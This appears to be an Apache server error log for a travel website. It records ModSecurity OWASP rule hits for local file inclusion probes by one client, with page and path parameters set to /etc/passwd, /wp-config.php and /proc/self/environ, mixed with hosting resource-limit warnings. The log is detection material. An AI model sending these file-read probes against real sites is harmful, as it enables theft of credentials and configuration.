[Fri Jul 17 08:55:54.128211 2026] [security2:error] [pid 2018741:tid 2018741] [client 103.168.66.101:0] ModSecurity: Warning. Matched phrase "proc/self/" at ARGS:path. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-932-APPLICATION-ATTACK-RCE.conf"] [line "501"] [id "932160"] [msg "Remote Command Execution: Unix Shell Code Found"] [data "Matched Data: proc/self/ found within ARGS:path: /proc/self/environ"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-shell"] [tag "platform-unix"] [tag "attack-rce"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/152/248/88"] [tag "PCI/6.5.2"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgwroj0IkvhSCYadmB6AAAAAQ"]
[Fri Jul 17 08:55:54.128669 2026] [security2:error] [pid 2018741:tid 2018741] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 10)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgwroj0IkvhSCYadmB6AAAAAQ"]
[Fri Jul 17 08:55:54.128778 2026] [hostinglimits:warn] [pid 2018741:tid 2018741] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2018741) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:54.130774 2026] [hostinglimits:warn] [pid 1993671:tid 1993671] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(1993671) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:54.135942 2026] [hostinglimits:warn] [pid 2013809:tid 2013809] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2013809) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:54.136062 2026] [security2:error] [pid 2018741:tid 2018741] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 10 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=5,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 10, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "2s-travels.com"] [uri "/index.php"] [unique_id "almgwroj0IkvhSCYadmB6AAAAAQ"]
[Fri Jul 17 08:55:54.159024 2026] [hostinglimits:warn] [pid 2030955:tid 2030955] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2030955) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:54.159722 2026] [hostinglimits:warn] [pid 2018768:tid 2018768] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2018768) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:54.215547 2026] [hostinglimits:warn] [pid 1993572:tid 1993572] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(1993572) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:54.303837 2026] [hostinglimits:warn] [pid 2013809:tid 2013809] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2013809) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:54.305902 2026] [hostinglimits:warn] [pid 2018768:tid 2018768] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2018768) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:54.306311 2026] [hostinglimits:warn] [pid 2030955:tid 2030955] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2030955) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:54.311154 2026] [security2:error] [pid 1993671:tid 1993671] [client 103.168.66.101:0] ModSecurity: Warning. Matched phrase "wp-config.php" at ARGS:page. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "98"] [id "930120"] [msg "OS File Access Attempt"] [data "Matched Data: wp-config.php found within ARGS:page: /wp-config.php"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgwg5GPQ6hs4VrfMpB0wAAAAY"]
[Fri Jul 17 08:55:54.311644 2026] [security2:error] [pid 1993671:tid 1993671] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgwg5GPQ6hs4VrfMpB0wAAAAY"]
[Fri Jul 17 08:55:54.311775 2026] [hostinglimits:warn] [pid 1993671:tid 1993671] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(1993671) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:54.312056 2026] [security2:error] [pid 1993671:tid 1993671] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "2s-travels.com"] [uri "/index.php"] [unique_id "almgwg5GPQ6hs4VrfMpB0wAAAAY"]
[Fri Jul 17 08:55:54.312624 2026] [security2:error] [pid 2030774:tid 2030774] [client 103.168.66.101:0] ModSecurity: Warning. Matched phrase "etc/passwd" at ARGS:page. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "98"] [id "930120"] [msg "OS File Access Attempt"] [data "Matched Data: etc/passwd found within ARGS:page: /etc/passwd"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgwhHlOGcokz2QIwTTUAAAAAM"]
[Fri Jul 17 08:55:54.312719 2026] [security2:error] [pid 2030774:tid 2030774] [client 103.168.66.101:0] ModSecurity: Warning. Matched phrase "etc/passwd" at ARGS:page. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-932-APPLICATION-ATTACK-RCE.conf"] [line "501"] [id "932160"] [msg "Remote Command Execution: Unix Shell Code Found"] [data "Matched Data: etc/passwd found within ARGS:page: /etc/passwd"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-shell"] [tag "platform-unix"] [tag "attack-rce"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/152/248/88"] [tag "PCI/6.5.2"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgwhHlOGcokz2QIwTTUAAAAAM"]
[Fri Jul 17 08:55:54.313157 2026] [security2:error] [pid 2030774:tid 2030774] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 10)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgwhHlOGcokz2QIwTTUAAAAAM"]
[Fri Jul 17 08:55:54.313259 2026] [hostinglimits:warn] [pid 2030774:tid 2030774] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2030774) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:54.313509 2026] [security2:error] [pid 2030774:tid 2030774] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 10 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=5,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 10, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "2s-travels.com"] [uri "/index.php"] [unique_id "almgwhHlOGcokz2QIwTTUAAAAAM"]
[Fri Jul 17 08:55:54.316790 2026] [security2:error] [pid 2030798:tid 2030798] [client 103.168.66.101:0] ModSecurity: Warning. Matched phrase "wp-config.php" at ARGS:page. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "98"] [id "930120"] [msg "OS File Access Attempt"] [data "Matched Data: wp-config.php found within ARGS:page: /wp-config.php"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgwivekYYQ8uns4MwlqQAAAA0"]
[Fri Jul 17 08:55:54.317396 2026] [security2:error] [pid 2030798:tid 2030798] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgwivekYYQ8uns4MwlqQAAAA0"]
[Fri Jul 17 08:55:54.317500 2026] [hostinglimits:warn] [pid 2030798:tid 2030798] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2030798) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:54.317800 2026] [security2:error] [pid 2030798:tid 2030798] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "2s-travels.com"] [uri "/index.php"] [unique_id "almgwivekYYQ8uns4MwlqQAAAA0"]
[Fri Jul 17 08:55:54.331813 2026] [security2:error] [pid 2030803:tid 2030803] [client 103.168.66.101:0] ModSecurity: Warning. Matched phrase "etc/passwd" at ARGS:page. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "98"] [id "930120"] [msg "OS File Access Attempt"] [data "Matched Data: etc/passwd found within ARGS:page: /etc/passwd"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgwu1pLmPpy2r_2CxfiAAAAA8"]
[Fri Jul 17 08:55:54.331935 2026] [security2:error] [pid 2030803:tid 2030803] [client 103.168.66.101:0] ModSecurity: Warning. Matched phrase "etc/passwd" at ARGS:page. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-932-APPLICATION-ATTACK-RCE.conf"] [line "501"] [id "932160"] [msg "Remote Command Execution: Unix Shell Code Found"] [data "Matched Data: etc/passwd found within ARGS:page: /etc/passwd"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-shell"] [tag "platform-unix"] [tag "attack-rce"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/152/248/88"] [tag "PCI/6.5.2"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgwu1pLmPpy2r_2CxfiAAAAA8"]
[Fri Jul 17 08:55:54.332483 2026] [security2:error] [pid 2030803:tid 2030803] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 10)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgwu1pLmPpy2r_2CxfiAAAAA8"]
[Fri Jul 17 08:55:54.332620 2026] [hostinglimits:warn] [pid 2030803:tid 2030803] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2030803) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:54.332899 2026] [security2:error] [pid 2030803:tid 2030803] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 10 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=5,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 10, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "2s-travels.com"] [uri "/index.php"] [unique_id "almgwu1pLmPpy2r_2CxfiAAAAA8"]
[Fri Jul 17 08:55:54.333085 2026] [hostinglimits:warn] [pid 2013829:tid 2013829] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2013829) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:54.334142 2026] [security2:error] [pid 1993572:tid 1993572] [client 103.168.66.101:0] ModSecurity: Warning. Matched phrase "proc/self/environ" at ARGS:page. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "98"] [id "930120"] [msg "OS File Access Attempt"] [data "Matched Data: proc/self/environ found within ARGS:page: /proc/self/environ"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgwol9vhFBGA6D8l96NQAAAAw"]
[Fri Jul 17 08:55:54.334235 2026] [security2:error] [pid 1993572:tid 1993572] [client 103.168.66.101:0] ModSecurity: Warning. Matched phrase "proc/self/" at ARGS:page. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-932-APPLICATION-ATTACK-RCE.conf"] [line "501"] [id "932160"] [msg "Remote Command Execution: Unix Shell Code Found"] [data "Matched Data: proc/self/ found within ARGS:page: /proc/self/environ"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-shell"] [tag "platform-unix"] [tag "attack-rce"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/152/248/88"] [tag "PCI/6.5.2"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgwol9vhFBGA6D8l96NQAAAAw"]
[Fri Jul 17 08:55:54.334625 2026] [security2:error] [pid 2018768:tid 2018768] [client 103.168.66.101:0] ModSecurity: Warning. Matched phrase "proc/self/environ" at ARGS:page. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "98"] [id "930120"] [msg "OS File Access Attempt"] [data "Matched Data: proc/self/environ found within ARGS:page: /proc/self/environ"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgwlCBpfuYyhJ140vS3wAAAB4"]
[Fri Jul 17 08:55:54.334708 2026] [security2:error] [pid 1993572:tid 1993572] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 10)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgwol9vhFBGA6D8l96NQAAAAw"]
[Fri Jul 17 08:55:54.334744 2026] [security2:error] [pid 2018768:tid 2018768] [client 103.168.66.101:0] ModSecurity: Warning. Matched phrase "proc/self/" at ARGS:page. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-932-APPLICATION-ATTACK-RCE.conf"] [line "501"] [id "932160"] [msg "Remote Command Execution: Unix Shell Code Found"] [data "Matched Data: proc/self/ found within ARGS:page: /proc/self/environ"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-shell"] [tag "platform-unix"] [tag "attack-rce"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/152/248/88"] [tag "PCI/6.5.2"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgwlCBpfuYyhJ140vS3wAAAB4"]
[Fri Jul 17 08:55:54.334824 2026] [hostinglimits:warn] [pid 1993572:tid 1993572] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(1993572) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:54.335080 2026] [security2:error] [pid 1993572:tid 1993572] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 10 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=5,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 10, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "2s-travels.com"] [uri "/index.php"] [unique_id "almgwol9vhFBGA6D8l96NQAAAAw"]
[Fri Jul 17 08:55:54.335257 2026] [security2:error] [pid 2018768:tid 2018768] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 10)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgwlCBpfuYyhJ140vS3wAAAB4"]
[Fri Jul 17 08:55:54.335357 2026] [hostinglimits:warn] [pid 2018768:tid 2018768] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2018768) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:54.335597 2026] [security2:error] [pid 2018768:tid 2018768] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 10 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=5,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 10, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "2s-travels.com"] [uri "/index.php"] [unique_id "almgwlCBpfuYyhJ140vS3wAAAB4"]
[Fri Jul 17 08:55:54.358969 2026] [hostinglimits:warn] [pid 2013809:tid 2013809] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2013809) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:54.373868 2026] [hostinglimits:warn] [pid 2030955:tid 2030955] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2030955) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:54.379181 2026] [hostinglimits:warn] [pid 2030774:tid 2030774] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2030774) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:54.381185 2026] [hostinglimits:warn] [pid 2030798:tid 2030798] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2030798) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:54.382460 2026] [hostinglimits:warn] [pid 2030803:tid 2030803] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2030803) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:54.386268 2026] [hostinglimits:warn] [pid 1993671:tid 1993671] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(1993671) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
